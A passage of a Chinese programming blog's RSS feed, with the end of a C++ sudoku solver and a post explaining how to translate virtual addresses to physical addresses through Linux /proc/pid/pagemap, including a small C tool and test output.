">212</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::<span style="color: #0000FF; ">string</span>&nbsp;question;<br /><span style="color: #008080; ">213</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">with&nbsp;many&nbsp;answers</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">214</span>&nbsp;<span style="color: #008000; "></span>&nbsp;&nbsp;&nbsp;&nbsp;question&nbsp;=&nbsp;".2<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />..4<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />836..51<img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" />63887<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />..63195<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />..4<img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" />5<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />.4.7.2.98<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />..";<br /><span style="color: #008080; ">215</span>&nbsp;<br /><span style="color: #008080; ">216</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #008000; ">//</span><span style="color: #008000; ">with&nbsp;just&nbsp;one&nbsp;answer:&nbsp;</span><span style="color: #008000; text-decoration: underline; ">https://baike.baidu.com/item/%E4%B8%96%E7%95%8C%E6%9C%80%E9%9A%BE%E6%95%B0%E7%8B%AC/13848819</span><span style="color: #008000; "><br /></span><span style="color: #008080; ">217</span>&nbsp;<span style="color: #008000; "></span>&nbsp;&nbsp;&nbsp;&nbsp;question&nbsp;=&nbsp;"..53<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />..8<img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" />2..7..1.5..4<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />.53<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />1..7<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />6..32<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />8..6.5<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />.9..4<img src="http://www.blogjava.net/Images/dot.gif"  alt="" />.3<img src="http://www.blogjava.net/Images/dot.gif"  alt="" /><img src="http://www.blogjava.net/Images/dot.gif"  alt="" />97..";<br /><span style="color: #008080; ">218</span>&nbsp;<br /><span style="color: #008080; ">219</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">bool</span>&nbsp;find_all_answers&nbsp;=&nbsp;<span style="color: #0000FF; ">false</span>;<br /><span style="color: #008080; ">220</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(argc&nbsp;&gt;&nbsp;1&nbsp;&amp;&amp;&nbsp;81&nbsp;==&nbsp;strlen(argv[1]))&nbsp;{<br /><span style="color: #008080; ">221</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;question&nbsp;=&nbsp;argv[1];<br /><span style="color: #008080; ">222</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<span style="color: #0000FF; ">else</span>&nbsp;{<br /><span style="color: #008080; ">223</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(argc&nbsp;&gt;&nbsp;1)&nbsp;{<br /><span style="color: #008080; ">224</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;find_all_answers&nbsp;=&nbsp;<span style="color: #0000FF; ">true</span>;<br /><span style="color: #008080; ">225</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">226</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;question&nbsp;=&nbsp;Sudoku::ProvideOneQuestionRandomly();<br /><span style="color: #008080; ">227</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">228</span>&nbsp;<br /><span style="color: #008080; ">229</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sudoku::PrintSudoku(question);<br /><span style="color: #008080; ">230</span>&nbsp;<br /><span style="color: #008080; ">231</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sudoku&nbsp;sudoku(question,&nbsp;find_all_answers);<br /><span style="color: #008080; ">232</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sudoku.Solve();<br /><span style="color: #008080; ">233</span>&nbsp;<br /><span style="color: #008080; ">234</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">const</span>&nbsp;std::<span style="color: #0000FF; ">set</span>&lt;std::<span style="color: #0000FF; ">string</span>&gt;&amp;&nbsp;all_answers&nbsp;=&nbsp;sudoku.GiveAllAnswers();<br /><span style="color: #008080; ">235</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">int</span>&nbsp;idx&nbsp;=&nbsp;0;<br /><span style="color: #008080; ">236</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">for</span>&nbsp;(<span style="color: #0000FF; ">typeof</span>(all_answers.begin())&nbsp;iter&nbsp;=&nbsp;all_answers.begin();&nbsp;all_answers.end()&nbsp;!=&nbsp;iter;&nbsp;++iter)&nbsp;{<br /><span style="color: #008080; ">237</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;"answer&nbsp;"&nbsp;&lt;&lt;&nbsp;++idx&nbsp;&lt;&lt;&nbsp;"&nbsp;for&nbsp;this&nbsp;sudoku&nbsp;is:"&nbsp;&lt;&lt;&nbsp;std::endl;<br /><span style="color: #008080; ">238</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sudoku::PrintSudoku(*iter);<br /><span style="color: #008080; ">239</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">if</span>&nbsp;(!Sudoku::ValidateOneAnswer(*iter))&nbsp;{<br /><span style="color: #008080; ">240</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;"answer&nbsp;is&nbsp;not&nbsp;correct:&nbsp;"&nbsp;&lt;&lt;&nbsp;*iter&nbsp;&lt;&lt;&nbsp;std::endl;<br /><span style="color: #008080; ">241</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">242</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;std::cout&nbsp;&lt;&lt;&nbsp;"["&nbsp;&lt;&lt;&nbsp;*iter&nbsp;&lt;&lt;&nbsp;"]"&nbsp;&lt;&lt;&nbsp;std::endl;<br /><span style="color: #008080; ">243</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><span style="color: #008080; ">244</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #0000FF; ">return</span>&nbsp;0;<br /><span style="color: #008080; ">245</span>&nbsp;}<br /><span style="color: #008080; ">246</span>&nbsp;</div></div><div></div><img src ="http://www.blogjava.net/bacoo/aggbug/432875.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2017-11-03 17:19 <a href="http://www.blogjava.net/bacoo/archive/2017/11/03/432875.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>virtual addr to physical addr</title><link>http://www.blogjava.net/bacoo/archive/2017/08/17/432756.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Thu, 17 Aug 2017 09:33:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2017/08/17/432756.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/432756.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2017/08/17/432756.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/432756.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/432756.html</trackback:ping><description><![CDATA[<div>转自： http://www.cnblogs.com/pengdonglin137/p/6802108.html<br />顺便提一句， 通过man 5 proc可以查看proc下各个文件的介绍情况，但由于pagemap是后加的，man里查不到目前<br />利用/proc/pid/pagemap将虚拟地址转换为物理地址</div><div></div><div>内核文档： Documentation/vm/pagemap.txt</div><div></div><div>pagemap is a new (as of 2.6.25) set of interfaces in the kernel that allow</div><div>userspace programs to examine the page tables and related information by</div><div>reading files in /proc.</div><div></div><div>There are four components to pagemap:</div><div></div><div>&nbsp;* /proc/pid/pagemap. &nbsp;This file lets a userspace process find out which</div><div>&nbsp; &nbsp;physical frame each virtual page is mapped to. &nbsp;It contains one 64-bit</div><div>&nbsp; &nbsp;value for each virtual page, containing the following data (from</div><div>&nbsp; &nbsp;fs/proc/task_mmu.c, above pagemap_read):</div><div></div><div>&nbsp; &nbsp; * Bits 0-54 &nbsp;page frame number (PFN) if present</div><div>&nbsp; &nbsp; * Bits 0-4 &nbsp; swap type if swapped</div><div>&nbsp; &nbsp; * Bits 5-54 &nbsp;swap offset if swapped</div><div>&nbsp; &nbsp; * Bit &nbsp;55 &nbsp; &nbsp;pte is soft-dirty (see Documentation/vm/soft-dirty.txt)</div><div>&nbsp; &nbsp; * Bit &nbsp;56 &nbsp; &nbsp;page exclusively mapped (since 4.2)</div><div>&nbsp; &nbsp; * Bits 57-60 zero</div><div>&nbsp; &nbsp; * Bit &nbsp;61 &nbsp; &nbsp;page is file-page or shared-anon (since 3.5)</div><div>&nbsp; &nbsp; * Bit &nbsp;62 &nbsp; &nbsp;page swapped</div><div>&nbsp; &nbsp; * Bit &nbsp;63 &nbsp; &nbsp;page present</div><div></div><div>&nbsp; &nbsp;Since Linux 4.0 only users with the CAP_SYS_ADMIN capability can get PFNs.</div><div>&nbsp; &nbsp;In 4.0 and 4.1 opens by unprivileged fail with -EPERM. &nbsp;Starting from</div><div>&nbsp; &nbsp;4.2 the PFN field is zeroed if the user does not have CAP_SYS_ADMIN.</div><div>&nbsp; &nbsp;Reason: information about PFNs helps in exploiting Rowhammer vulnerability.</div><div></div><div>&nbsp; &nbsp;If the page is not present but in swap, then the PFN contains an</div><div>&nbsp; &nbsp;encoding of the swap file number and the page's offset into the</div><div>&nbsp; &nbsp;swap. Unmapped pages return a null PFN. This allows determining</div><div>&nbsp; &nbsp;precisely which pages are mapped (or in swap) and comparing mapped</div><div>&nbsp; &nbsp;pages between processes.</div><div></div><div>&nbsp; &nbsp;Efficient users of this interface will use /proc/pid/maps to</div><div>&nbsp; &nbsp;determine which areas of memory are actually mapped and llseek to</div><div>&nbsp; &nbsp;skip over unmapped regions.</div><div></div><div></div><div>&nbsp;下面是一个工具：</div><div></div><div></div><div>&nbsp;1 #include &lt;stdio.h&gt;</div><div>&nbsp;2 #include &lt;stdlib.h&gt;</div><div>&nbsp;3 #include &lt;unistd.h&gt;</div><div>&nbsp;4 #include &lt;assert.h&gt;</div><div>&nbsp;5 #include &lt;errno.h&gt;</div><div>&nbsp;6 #include &lt;stdint.h&gt;</div><div>&nbsp;7 #include &lt;string.h&gt;</div><div>&nbsp;8&nbsp;</div><div>&nbsp;9 #define PAGEMAP_ENTRY 8</div><div>10 #define GET_BIT(X,Y) (X &amp; ((uint64_t)1&lt;&lt;Y)) &gt;&gt; Y</div><div>11 #define GET_PFN(X) X &amp; 0x7FFFFFFFFFFFFF</div><div>12&nbsp;</div><div>13 const int __endian_bit = 1;</div><div>14 #define is_bigendian() ( (*(char*)&amp;__endian_bit) == 0 )</div><div>15&nbsp;</div><div>16 int i, c, pid, status;</div><div>17 unsigned long virt_addr;&nbsp;</div><div>18 uint64_t read_val, file_offset, page_size;</div><div>19 char path_buf [0x100] = {};</div><div>20 FILE * f;</div><div>21 char *end;</div><div>22&nbsp;</div><div>23 int read_pagemap(char * path_buf, unsigned long virt_addr);</div><div>24&nbsp;</div><div>25 int main(int argc, char ** argv){</div><div>26 &nbsp; &nbsp; if(argc!=3){</div><div>27 &nbsp; &nbsp; &nbsp; &nbsp; printf("Argument number is not correct!\n pagemap PID VIRTUAL_ADDRESS\n");</div><div>28 &nbsp; &nbsp; &nbsp; &nbsp; return -1;</div><div>29 &nbsp; &nbsp; }</div><div>30 &nbsp; &nbsp; if(!memcmp(argv[1],"self",sizeof("self"))){</div><div>31 &nbsp; &nbsp; &nbsp; &nbsp; sprintf(path_buf, "/proc/self/pagemap");</div><div>32 &nbsp; &nbsp; &nbsp; &nbsp; pid = -1;</div><div>33 &nbsp; &nbsp; }</div><div>34 &nbsp; &nbsp; else{</div><div>35 &nbsp; &nbsp; &nbsp; &nbsp; pid = strtol(argv[1],&amp;end, 10);</div><div>36 &nbsp; &nbsp; &nbsp; &nbsp; if (end == argv[1] || *end != '\0' || pid&lt;=0){&nbsp;</div><div>37 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf("PID must be a positive number or 'self'\n");</div><div>38 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return -1;</div><div>39 &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>40 &nbsp; &nbsp; }</div><div>41 &nbsp; &nbsp; virt_addr = strtoll(argv[2], NULL, 16);</div><div>42 &nbsp; &nbsp; if(pid!=-1)</div><div>43 &nbsp; &nbsp; &nbsp; &nbsp; sprintf(path_buf, "/proc/%u/pagemap", pid);</div><div>44&nbsp;</div><div>45 &nbsp; &nbsp; page_size = getpagesize();</div><div>46 &nbsp; &nbsp; read_pagemap(path_buf, virt_addr);</div><div>47 &nbsp; &nbsp; return 0;</div><div>48 }</div><div>49&nbsp;</div><div>50 int read_pagemap(char * path_buf, unsigned long virt_addr){</div><div>51 &nbsp; &nbsp; printf("Big endian? %d\n", is_bigendian());</div><div>52 &nbsp; &nbsp; f = fopen(path_buf, "rb");</div><div>53 &nbsp; &nbsp; if(!f){</div><div>54 &nbsp; &nbsp; &nbsp; &nbsp; printf("Error! Cannot open %s\n", path_buf);</div><div>55 &nbsp; &nbsp; &nbsp; &nbsp; return -1;</div><div>56 &nbsp; &nbsp; }</div><div>57&nbsp;</div><div>58 &nbsp; &nbsp; //Shifting by virt-addr-offset number of bytes</div><div>59 &nbsp; &nbsp; //and multiplying by the size of an address (the size of an entry in pagemap file)</div><div>60 &nbsp; &nbsp; file_offset = virt_addr / page_size * PAGEMAP_ENTRY;</div><div>61 &nbsp; &nbsp; printf("Vaddr: 0x%lx, Page_size: %lld, Entry_size: %d\n", virt_addr, page_size, PAGEMAP_ENTRY);</div><div>62 &nbsp; &nbsp; printf("Reading %s at 0x%llx\n", path_buf, (unsigned long long) file_offset);</div><div>63 &nbsp; &nbsp; status = fseek(f, file_offset, SEEK_SET);</div><div>64 &nbsp; &nbsp; if(status){</div><div>65 &nbsp; &nbsp; &nbsp; &nbsp; perror("Failed to do fseek!");</div><div>66 &nbsp; &nbsp; &nbsp; &nbsp; return -1;</div><div>67 &nbsp; &nbsp; }</div><div>68 &nbsp; &nbsp; errno = 0;</div><div>69 &nbsp; &nbsp; read_val = 0;</div><div>70 &nbsp; &nbsp; unsigned char c_buf[PAGEMAP_ENTRY];</div><div>71 &nbsp; &nbsp; for(i=0; i &lt; PAGEMAP_ENTRY; i++){</div><div>72 &nbsp; &nbsp; &nbsp; &nbsp; c = getc(f);</div><div>73 &nbsp; &nbsp; &nbsp; &nbsp; if(c==EOF){</div><div>74 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf("\nReached end of the file\n");</div><div>75 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return 0;</div><div>76 &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>77 &nbsp; &nbsp; &nbsp; &nbsp; if(is_bigendian())</div><div>78 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c_buf[i] = c;</div><div>79 &nbsp; &nbsp; &nbsp; &nbsp; else</div><div>80 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c_buf[PAGEMAP_ENTRY - i - 1] = c;</div><div>81 &nbsp; &nbsp; &nbsp; &nbsp; printf("[%d]0x%x ", i, c);</div><div>82 &nbsp; &nbsp; }</div><div>83 &nbsp; &nbsp; for(i=0; i &lt; PAGEMAP_ENTRY; i++){</div><div>84 &nbsp; &nbsp; &nbsp; &nbsp; //printf("%d ",c_buf[i]);</div><div>85 &nbsp; &nbsp; &nbsp; &nbsp; read_val = (read_val &lt;&lt; 8) + c_buf[i];</div><div>86 &nbsp; &nbsp; }</div><div>87 &nbsp; &nbsp; printf("\n");</div><div>88 &nbsp; &nbsp; printf("Result: 0x%llx\n", (unsigned long long) read_val);</div><div>89 &nbsp; &nbsp; if(GET_BIT(read_val, 63)) {</div><div>90 &nbsp; &nbsp; &nbsp; &nbsp; uint64_t pfn = GET_PFN(read_val);</div><div>91 &nbsp; &nbsp; &nbsp; &nbsp; printf("PFN: 0x%llx (0x%llx)\n", pfn, pfn * page_size + virt_addr % page_size);</div><div>92 &nbsp; &nbsp; } else</div><div>93 &nbsp; &nbsp; &nbsp; &nbsp; printf("Page not present\n");</div><div>94 &nbsp; &nbsp; if(GET_BIT(read_val, 62))</div><div>95 &nbsp; &nbsp; &nbsp; &nbsp; printf("Page swapped\n");</div><div>96 &nbsp; &nbsp; fclose(f);</div><div>97 &nbsp; &nbsp; return 0;</div><div>98 }</div><div></div><div>测试：</div><div></div><div>用Qemu+vexpress-ca9：</div><div></div><div>内存： 1GB， 物理地址范围： 0x60000000-&gt;0x9FFFFFFF</div><div></div><div>通过查看/proc/pid/maps获得进程的地址空间的内存映射情况：</div><div></div><div></div><div>&nbsp;1 [root@vexpress ~]# cat /proc/746/maps&nbsp;</div><div>&nbsp;2 00008000-001f3000 r-xp 00000000 b3:01 62 &nbsp; &nbsp; &nbsp; &nbsp; /bin/busybox</div><div>&nbsp;3 001fa000-001fc000 rw-p 001ea000 b3:01 62 &nbsp; &nbsp; &nbsp; &nbsp; /bin/busybox</div><div>&nbsp;4 001fc000-00222000 rw-p 00000000 00:00 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[heap]</div><div>&nbsp;5 b6c7f000-b6c80000 rw-p 00000000 00:00 0&nbsp;</div><div>&nbsp;6 b6c80000-b6c8d000 r-xp 00000000 b3:01 174 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnss_files-2.18.so</div><div>&nbsp;7 b6c8d000-b6c94000 ---p 0000d000 b3:01 174 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnss_files-2.18.so</div><div>&nbsp;8 b6c94000-b6c95000 r--p 0000c000 b3:01 174 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnss_files-2.18.so</div><div>&nbsp;9 b6c95000-b6c96000 rw-p 0000d000 b3:01 174 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnss_files-2.18.so</div><div>10 b6c96000-b6ca1000 r-xp 00000000 b3:01 141 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnss_nis-2.18.so</div><div>11 b6ca1000-b6ca8000 ---p 0000b000 b3:01 141 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnss_nis-2.18.so</div><div>12 b6ca8000-b6ca9000 r--p 0000a000 b3:01 141 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnss_nis-2.18.so</div><div>13 b6ca9000-b6caa000 rw-p 0000b000 b3:01 141 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnss_nis-2.18.so</div><div>14 b6caa000-b6daa000 rw-p 00000000 00:00 0&nbsp;</div><div>15 b6daa000-b6dca000 r-xp 00000000 b3:01 129 &nbsp; &nbsp; &nbsp; &nbsp;/lib/ld-2.18.so</div><div>16 b6dca000-b6dd1000 ---p 00020000 b3:01 129 &nbsp; &nbsp; &nbsp; &nbsp;/lib/ld-2.18.so</div><div>17 b6dd1000-b6dd2000 r--p 0001f000 b3:01 129 &nbsp; &nbsp; &nbsp; &nbsp;/lib/ld-2.18.so</div><div>18 b6dd2000-b6dd3000 rw-p 00020000 b3:01 129 &nbsp; &nbsp; &nbsp; &nbsp;/lib/ld-2.18.so</div><div>19 b6dd3000-b6f06000 r-xp 00000000 b3:01 170 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libc-2.18.so</div><div>20 b6f06000-b6f0d000 ---p 00133000 b3:01 170 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libc-2.18.so</div><div>21 b6f0d000-b6f0f000 r--p 00132000 b3:01 170 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libc-2.18.so</div><div>22 b6f0f000-b6f10000 rw-p 00134000 b3:01 170 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libc-2.18.so</div><div>23 b6f10000-b6f13000 rw-p 00000000 00:00 0&nbsp;</div><div>24 b6f13000-b6f26000 r-xp 00000000 b3:01 177 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnsl-2.18.so</div><div>25 b6f26000-b6f2d000 ---p 00013000 b3:01 177 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnsl-2.18.so</div><div>26 b6f2d000-b6f2e000 r--p 00012000 b3:01 177 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnsl-2.18.so</div><div>27 b6f2e000-b6f2f000 rw-p 00013000 b3:01 177 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnsl-2.18.so</div><div>28 b6f2f000-b6f31000 rw-p 00000000 00:00 0&nbsp;</div><div>29 b6f31000-b6f39000 r-xp 00000000 b3:01 154 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnss_compat-2.18.so</div><div>30 b6f39000-b6f40000 ---p 00008000 b3:01 154 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnss_compat-2.18.so</div><div>31 b6f40000-b6f41000 r--p 00007000 b3:01 154 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnss_compat-2.18.so</div><div>32 b6f41000-b6f42000 rw-p 00008000 b3:01 154 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libnss_compat-2.18.so</div><div>33 be958000-be979000 rw-p 00000000 00:00 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[stack]</div><div>34 bed04000-bed05000 r-xp 00000000 00:00 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[sigpage]</div><div>35 bed05000-bed06000 r--p 00000000 00:00 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[vvar]</div><div>36 bed06000-bed07000 r-xp 00000000 00:00 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[vdso]</div><div>37 ffff0000-ffff1000 r-xp 00000000 00:00 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[vectors]</div><div></div><div>可以看看0x8000这个虚拟地址对应的物理地址：</div><div></div><div></div><div>1 [root@vexpress ~]# ./translate 746 0x8000</div><div>2 Big endian? 0</div><div>3 Vaddr: 0x8000, Page_size: 4096, Entry_size: 8</div><div>4 Reading /proc/746/pagemap at 0x40</div><div>5 [0]0x0 [1]0xf8 [2]0x9 [3]0x0 [4]0x0 [5]0x0 [6]0x0 [7]0xa0&nbsp;</div><div>6 Result: 0xa00000000009f800</div><div>7 PFN: 0x9f800 (0x9f800000)</div><div></div><div>可以看到， 对应的物理页帧是0x9F800，那么物理地址就是0x9F800000.</div><div></div><div>下面我们再做一个实验， 进程746的地址空间有一部分用来映射libc：</div><div></div><div>1 b6dd3000-b6f06000 r-xp 00000000 b3:01 170 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libc-2.18.so</div><div>2 b6f06000-b6f0d000 ---p 00133000 b3:01 170 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libc-2.18.so</div><div>3 b6f0d000-b6f0f000 r--p 00132000 b3:01 170 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libc-2.18.so</div><div>4 b6f0f000-b6f10000 rw-p 00134000 b3:01 170 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libc-2.18.so</div><div>此外， 进程835也会用到libc：</div><div></div><div></div><div>1 [root@vexpress ~]# cat /proc/835/maps&nbsp;</div><div>2 ... ...</div><div>3 b6e0b000-b6f3e000 r-xp 00000000 b3:01 170 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libc-2.18.so</div><div>4 b6f3e000-b6f45000 ---p 00133000 b3:01 170 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libc-2.18.so</div><div>5 b6f45000-b6f47000 r--p 00132000 b3:01 170 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libc-2.18.so</div><div>6 b6f47000-b6f48000 rw-p 00134000 b3:01 170 &nbsp; &nbsp; &nbsp; &nbsp;/lib/libc-2.18.so</div><div>7 ... ...</div><div></div><div>可以看到， 进程746和835虽然都用了libc，但是对应的虚拟地址却不同，前者是0xb6dd3000， 而后者是0xb6e0b000, 我们知道对于共享库， 在内存只会存在一份代码， 那么物理地址也就是唯一的（代码段是唯一的，所有调用libc的进程共享，而数据段每个进程一个）， 那么进程746的虚拟地址空间的0xb6dd3000（代码段）跟进程835的虚拟地址空间的0xb6e0b000（代码段）对应的物理地址应该是同一个， 下面验证一下：</div><div></div><div>进程746：</div><div></div><div></div><div>1 [root@vexpress ~]# ./translate 746 0xb6dd3000</div><div>2 virt_addr: 0xb6dd3000</div><div>3 Big endian? 0</div><div>4 Vaddr: 0xb6dd3000, Page_size: 4096, Entry_size: 8</div><div>5 Reading /proc/746/pagemap at 0x5b6e98</div><div>6 [0]0x68 [1]0xfa [2]0x9 [3]0x0 [4]0x0 [5]0x0 [6]0x0 [7]0xa0&nbsp;</div><div>7 Result: 0xa00000000009fa68</div><div>8 PFN: 0x9fa68 (0x9fa68000)</div><div></div><div>可以看到，物理地址是0x9FA68000</div><div></div><div>进程835：</div><div></div><div></div><div>1 [root@vexpress ~]# ./translate 835 0xb6e0b000</div><div>2 virt_addr: 0xb6e0b000</div><div>3 Big endian? 0</div><div>4 Vaddr: 0xb6e0b000, Page_size: 4096, Entry_size: 8</div><div>5 Reading /proc/835/pagemap at 0x5b7058</div><div>6 [0]0x68 [1]0xfa [2]0x9 [3]0x0 [4]0x0 [5]0x0 [6]0x0 [7]0xa0&nbsp;</div><div>7 Result: 0xa00000000009fa68</div><div>8 PFN: 0x9fa68 (0x9fa68000)</div><div></div><div>可以看到， 物理地址也是0x9FA68000， 从而证明了我们的猜想。<br />=========================================================================<br /><div>转自：http://blog.sina.com.cn/s/blog_628cc2b70101c8zu.html</div><div>pagemap是linux中一组新的接口集合，他通过读取/proc中的文件允许用户态的程序检查页表以及相关的信息。</div><div>它主要有3个组成部分：</div><div>（1）/proc/pid/pagemap：这个文件允许一个用户态的进程查看到每个虚拟页映射到的物理页，每一个虚拟页都包含了一个64位的值，信息如下：</div><div>Bits 0-54: page frame number(PFN) if present</div><div>Bits 0-4: &nbsp;swap type if swapped</div><div>Bits 5-54: swap offset if swapped</div><div>Bits 55-60:page shift&nbsp;</div><div>Bit 61: &nbsp; reserved ofr future use</div><div>Bit 62: &nbsp; page swapped</div><div>Bit 63: &nbsp; page present</div><div>&nbsp; &nbsp; 如果这个page是在swap状态，然后PFN包含一个编码的交换文件号码，再将页的offset值写入swap中。没有映射的页就返回一个null PFN。这样就可以精确判断一个page是映射的或是swap的，并且可以比较不同进程间的映射页。</div><div>&nbsp; &nbsp; 我们可以利用/proc/pid/maps去判断内存中哪块区域是被映射的，然后通过llseek就可以跳过没有映射的区域。</div><div>（2）/proc/kpagecount:这个文件包含一个64位值，该值表示每个page被映射的次数，通过PFN索引。</div><div>（3）/proc/kpageflags:这个文件包含每一个page的64位的标记集，通过PFN索引。</div><div>通过pagemap查看一个进程的内存使用情况的一般步骤如下：</div><div>（1）读取/proc/pid/maps文件确定内存空间的哪个部分被映射；</div><div>（2）选择你感兴趣的maps，比如全部、一部分或者堆栈什么的；</div><div>（3）打开/proc/pid/pagemap，定位到你准备去检查的pages；</div><div>（4）通过pagemap读取每一个page的64位值；</div><div>（5）打开/proc/kpagecount以及/proc/kpageflags。对于每一个PFN你只要去读，定位到文件中的那个入口，然后读取你想要的数据。</div><div></div></div><img src ="http://www.blogjava.net/bacoo/aggbug/432756.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2017-08-17 17:33 <a href="http://www.blogjava.net/bacoo/archive/2017/08/17/432756.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>bash实现线程池</title><link>http://www.blogjava.net/bacoo/archive/2017/07/25/432688.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Tue, 25 Jul 2017 12:19:00 